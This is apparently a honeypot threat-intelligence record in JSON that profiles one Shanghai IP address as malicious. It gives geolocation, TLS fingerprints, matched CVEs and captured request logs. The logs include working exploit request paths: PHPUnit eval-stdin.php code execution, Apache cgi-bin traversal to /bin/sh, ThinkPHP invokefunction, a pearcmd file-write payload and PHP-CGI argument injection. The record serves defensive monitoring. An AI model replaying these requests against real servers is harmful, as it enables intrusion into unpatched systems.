{"ip":"218.81.172.117","observed":true,"total_events":49,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 607,639 bytes: sustained payload delivery, not a single opportunistic request.","Held a session open for 84s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"607,639 bytes sent, longest session 84s","bytes_sent":607639,"session_seconds":84,"persistent":true},"basis":"first_contact"},"first_seen":"2026-10-13T23:24:47","last_seen":"2026-10-13T23:26:11","events_24h":0,"events_7d":49,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"CN","country_name":"China","region":"Shanghai","city":"Shanghai","lat":31.2222,"lon":121.4581,"asn":4812,"org":"China Telecom (Group)"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":49}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303af1ec93cefd9085416bae5241ad99859582afc7a39f0c7d3950af4f1337728572088422e318485a0609d02e6787af20ab5269855092d2f9dc3bebacd3838088f9b00246a6a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005485a5a000000170000ff01000100000a000c000aeaea11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edeaea00010011ec04c00e9735d2c495ee60a0909baa8bc2635c0956cd5c87e0a142f3b7af6a463a4de412da364a84a0c31f69c0ce152887e365535ca2a9f95d4b987a648b280b940410261b3fc3560203c013c06e0cb3357577cc65db97f1f34508721ccf8b55148501250bc4c51c94d6e3680221166d3591a3c3c65e508fcaf14134416bee67c288eb0d03b6bf3cd05931fb7c288c56c64713f3296eec684578524b01ba4912913a34d9a81a0345823b2b7fb41083a6ce3ca8bec570111f2b4be719c9b71378c5dc0159c299ea63a8d2456081a0677e0b2898651e7ddab87bf0a0f2f6bf1b696eabd766faa03ca400a46a05089e985ab368cacccb1fd2231480f04e39842d226ccbd4d18ef02a5188f8a44fb294ff707c07a95203bc7ecd006318827263520d4fec79f469a52df4afc5db4478d5a1e2149f5622122a2b7e0a9bba1257b275426a1afac7fd1bcf32c5471f3bae7e8a4ef6e608089467aa9a0f073c45e743c77499289aa88f4131b39b9605a6f47c849a1bd1b419e9a54d64b0bbd1085f409bc6a8262d658440767a7f02f5b44de9913a455723899e295c03017820a7786f0426a631488ca97a20ffb07a9c1854f0a31f1c3c9c2b699c4d35363d065c78c589db65309bb097b4e5229488b57b299e6b685a52bcaed6e9321b52cdde0cbe6b61cc5c616413ea3c5052b124d4859c7aa03eb5cc673c7c0114407dd65b8b698571b837a359ad4c9a649ce3751014ab0aa596aaf250e31c93f5b3acbd721b9ac455c5c47d0d8999b51b45148c2b4891a775b288e6b8235301bf9f4a8fc986bfcb2513357c8fe4ab0fdebc5921f0357f67a05e56b0940620aaea5b83c3b4540cb25937492f32b7b5d25f799796615c26ff2a4eca109f5f422554c83cfd18484186036ecc76a225cd03cc9a395c1779c367dc29601f737afda61ee5925dc2d367d9c9671da24c4c5bca83547370394e34c934373771ee0b61012ab6f5d38c06483b6cf36e0d6cbc8c7a8f0c03aaac7abccf947494f655aa2811c9128f3656c2a0916256b93de97a688d0ace3527744748350a4636097ab772027b24b3768d900ebd260cb9288a077c8dc6aba577484087ca2de25a6910c787999812caa5347f5a3fe04462e6077c80d3b3842192ecb211254877bb11791cfa8362a4225f107bdd3070fbd78124252db357aedbab73503c0fcf63a633012a2eb5403b6a3efd6411d79abe15f7129b934299185b4e56c3dacc7a29d52eafc31018b28ee172a58bc4bfbcac975e4c350ac1406855b26437005c905d95d952356a67228616aae49d41e672a250cefb2051d3347be2b30a027c9ac13aaf9beaa5fe255f22863d3f4804f0cc07ff99a67ff399ca4b0d1b1106361acdd93b41ffa81cf2167048e7327127087da5078bf1663573039e0cd0cc04cf056428903615b82b379692252d4183d2681ad3b5c9976176d075c1651cba65839ab9bbcba1d445c1b68e7b539e0ec2b1cbc52a194521909982eea16e91892e40e7658b9987caf29abef6b463f48d2021cd0235354f0b2c43f227c1c11e9120ba2ffa8f5f00bc8515a56a7c4847d5c7da685bb5ac5b9662403c07b03ec48d7097449cba7f2dd35afb014639557536c00d0ba2268f8c4fa130f33f256a58d368a372507b39b31c03e11dcec0f0e18036ee9a234413672fe9586d77eef0823cf9914974bbc9483ea2d28a3e034e860ee085e78911a0dd61001d0020347dd120d8ba699e278ae7c4c8c77fa26fb85d9126fecdbab05e07616a463f62002d00020101002b0007062a2a030403030a0a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":133,"b11cun050_00040035_dd905059":263,"b11cuq070_00050835_c0b30902":207},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-13","count":49}],"recent_events":[{"timestamp":"2026-10-13T23:26:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":49,"duration_ms":83914,"bytes_in":19117,"bytes_out":3871},{"timestamp":"2026-10-13T23:26:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":48,"duration_ms":81998,"bytes_in":18964,"bytes_out":3792},{"timestamp":"2026-10-13T23:26:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":47,"duration_ms":80185,"bytes_in":18777,"bytes_out":3713},{"timestamp":"2026-10-13T23:26:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":46,"duration_ms":78309,"bytes_in":18520,"bytes_out":3634},{"timestamp":"2026-10-13T23:26:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":45,"duration_ms":76434,"bytes_in":18273,"bytes_out":3555},{"timestamp":"2026-10-13T23:26:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":44,"duration_ms":74661,"bytes_in":18033,"bytes_out":3476},{"timestamp":"2026-10-13T23:26:00","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":43,"duration_ms":72852,"bytes_in":17762,"bytes_out":3397},{"timestamp":"2026-10-13T23:25:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":42,"duration_ms":71087,"bytes_in":17490,"bytes_out":3318},{"timestamp":"2026-10-13T23:25:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":41,"duration_ms":69284,"bytes_in":17216,"bytes_out":3239},{"timestamp":"2026-10-13T23:25:54","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3bfd9c00-c106-45df-86fb-58ef92cfab78","seq":40,"duration_ms":67357,"bytes_in":16943,"bytes_out":3160}],"http_methods":[{"method":"GET","count":42},{"method":"POST","count":7}],"distinct_ports_total":1,"top_paths":[{"path":"/containers/json","count":1,"ports":1},{"path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":1,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"}],"data_as_of":"2026-10-16T00:51:39.328418+00:00"}